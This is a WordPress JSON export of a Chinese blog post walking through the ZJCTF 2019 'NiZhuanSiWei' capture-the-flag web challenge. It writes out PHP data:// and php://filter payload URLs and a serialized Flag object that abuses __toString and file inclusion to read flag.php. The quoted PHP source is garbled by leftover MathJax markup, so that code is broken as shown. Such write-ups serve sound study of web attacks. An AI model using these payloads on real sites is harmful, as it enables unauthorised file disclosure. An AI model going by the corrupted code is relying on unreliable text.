{"id":1201,"date":"2025-01-18T23:29:05","date_gmt":"2025-01-18T15:29:05","guid":{"rendered":"http:\/\/gzxingyu.cloud\/?p=1201"},"modified":"2025-01-18T23:29:05","modified_gmt":"2025-01-18T15:29:05","slug":"zjctf-2019nizhuansiwei","status":"publish","type":"post","link":"http:\/\/gzxingyu.cloud\/index.php\/2025\/01\/18\/zjctf-2019nizhuansiwei\/","title":{"rendered":"ZJCTF 2019NiZhuanSiWei"},"content":{"rendered":"

\"Pasted<\/p>\n

\"Pasted<\/div>
\n\u5206\u6790\u4ee3\u7801\uff1a
\n\u6211\u4eec\u9700\u8981GET\u4e09\u4e2a\u53c2\u6570\u5206\u522b\u662f:text,file,password
\n\u9996\u5148\u9700\u8981\u68c0\u67e5\u662f\u5426\u5bf9text\u4f20\u4e00\u4e2a\u6587\u4ef6\uff0c\u5e76\u4e14\u6587\u4ef6\u5185\u5bb9\u8981\u662fwelcome to the zjctf\uff0c\u624d\u80fd\u8fdb\u884c\u4e0b\u4e00\u6b65\uff0c\u56e0\u4e3a\u6709\u6587\u4ef6\u5305\u542b\u51fd\u6570\uff0c\u53ef\u4ee5\u4f7f\u7528php\u4f2a\u534f\u8bae
\ndata:\/\/text\/plain,welcome to the zjctf
\n\u6210\u529f\u8fdb\u5165\u4e0b\u4e00\u4e2a\u6761\u4ef6
\n\"Pasted<\/p>\n

\u4e0b\u4e00\u4e2a\u6761\u4ef6\u662f,\u68c0\u67e5file \u4f20\u8fdb\u6765\u7684\u53c2\u6570\u662f\u5426\u6709flag\uff0c\u6709\u7684\u8bdd\uff0c\u5c31\u8f93\u51faNot now \uff0c\u7136\u540e\u9000\u51fa\u7a0b\u5e8f\uff0c\u6ca1\u6709\u7684\u8bdd\u5c31\u8fdb\u5165\u4e0b\u9762\u7684\u547d\u4ee4\u3002<\/p>\n

\u53d1\u73b0\u65c1\u8fb9\u6709\u4e00\u4e2a\u6ce8\u91ca\/\/useless.php\u6587\u4ef6
\n\u4f7f\u7528php:\/\/filter\u8bfb\u53d6\u6587\u4ef6\u5185\u5bb9
\n?text=data:\/\/text\/plain,welcome%20to%20the%20zjctf&file=php:\/\/filter\/read=convert.base64-encode\/resource=useless.php
\n

\"Pasted<\/div>
\n\u89e3\u7801
\n<?php<\/p>\n

class Flag{ \/\/flag.php
\npublic Missing open brace for subscript<\/title>file; public function __tostring(){ if(isset(<\/text><\/g><\/g><\/g><\/g><\/svg>file; public function __tostring(){ if(isset(<\/mtext><\/merror><\/math><\/mjx-assistive-mml><\/mjx-container>this->file)){
\necho file_get_contents($this->file);
\necho "<br>";
\nreturn ("U R SO CLOSE !\/\/\/COME ON PLZ");
\n}
\n}
\n}
\n?>
\n\u53ef\u4ee5\u770b\u5230\u8fd9\u4e2aPHP\u6e90\u7801\uff0c\u5bf9\u6e90\u7801\u8fdb\u884c\u5206\u6790\uff0c\u53ef\u4ee5\u77e5\u9053\uff0c\u5b83\u5b9a\u4e49\u4e86\u4e00\u4e2a
\n\u53eb\u505aFlag\u7684\u7c7b\uff0c\u91cc\u9762\u542b\u6709\u4e00\u4e2a\u4e00\u53eb: _tostring()\u7684\u9b54\u672f\u65b9\u6cd5
\n\u91cc\u9762\u6267\u884c\u4e86\u6587\u4ef6\u5305\u542b\uff0c\u6240\u4ee5\u6211\u4eec\u5c31\u53ef\u4ee5\u5728\u8fd9\u5229\u7528\u8fd9\u4e2a\u70b9\u67e5\u770b
\nflag.php\u6587\u4ef6\u3002
\n__tostring()\u9b54\u672f\u65b9\u6cd5\u662f\u8981\u5f53\u7c7b\u505a\u4e3a\u5b57\u7b26\u4e32\u8f93\u51fa\u65f6\u89e6\u53d1\u3002<\/p>\n

O:4:"Flag":1:{s:4:"file";s:8:"flag.php";}
\n

\"Pasted<\/div>
\n\"Pasted<\/p>\n

?text=data:\/\/text\/plain,welcome to the zjctf&file=useless.php&password=O:4:
\n"Flag":1:{s:4:"file";s:8:"flag.php";}<\/p>\n

\u603b\u7ed3<\/h3>\n
    \n
  • php\u4f2a\u534f\u8bae
    \ndata:\/\/ php:\/\/filter<\/li>\n
  • \u53cd\u5e8f\u5217\u5316<\/li>\n
  • _tostring()\u9b54\u6cd5\u51fd\u6570\uff1a\u5f53\u7c7b\u505a\u4e3a\u5b57\u7b26\u4e32\u8f93\u51fa\u65f6\u89e6\u53d1<\/li>\n<\/ul>\n","protected":false},"excerpt":{"rendered":"

    \u5206\u6790\u4ee3\u7801\uff1a \u6211\u4eec\u9700\u8981GET\u4e09\u4e2a\u53c2\u6570\u5206\u522b\u662f:text,file,password \u9996\u5148\u9700\u8981\u68c0\u67e5\u662f\u5426\u5bf9text\u4f20\u4e00 […]<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[8,22,23],"tags":[28,37],"class_list":["post-1201","post","type-post","status-publish","format-standard","hentry","category-ctf","category-ctf-web","category-nssctf","tag-php","tag-37"],"_links":{"self":[{"href":"http:\/\/gzxingyu.cloud\/index.php\/wp-json\/wp\/v2\/posts\/1201","targetHints":{"allow":["GET"]}}],"collection":[{"href":"http:\/\/gzxingyu.cloud\/index.php\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"http:\/\/gzxingyu.cloud\/index.php\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"http:\/\/gzxingyu.cloud\/index.php\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"http:\/\/gzxingyu.cloud\/index.php\/wp-json\/wp\/v2\/comments?post=1201"}],"version-history":[{"count":1,"href":"http:\/\/gzxingyu.cloud\/index.php\/wp-json\/wp\/v2\/posts\/1201\/revisions"}],"predecessor-version":[{"id":1202,"href":"http:\/\/gzxingyu.cloud\/index.php\/wp-json\/wp\/v2\/posts\/1201\/revisions\/1202"}],"wp:attachment":[{"href":"http:\/\/gzxingyu.cloud\/index.php\/wp-json\/wp\/v2\/media?parent=1201"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"http:\/\/gzxingyu.cloud\/index.php\/wp-json\/wp\/v2\/categories?post=1201"},{"taxonomy":"post_tag","embeddable":true,"href":"http:\/\/gzxingyu.cloud\/index.php\/wp-json\/wp\/v2\/tags?post=1201"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}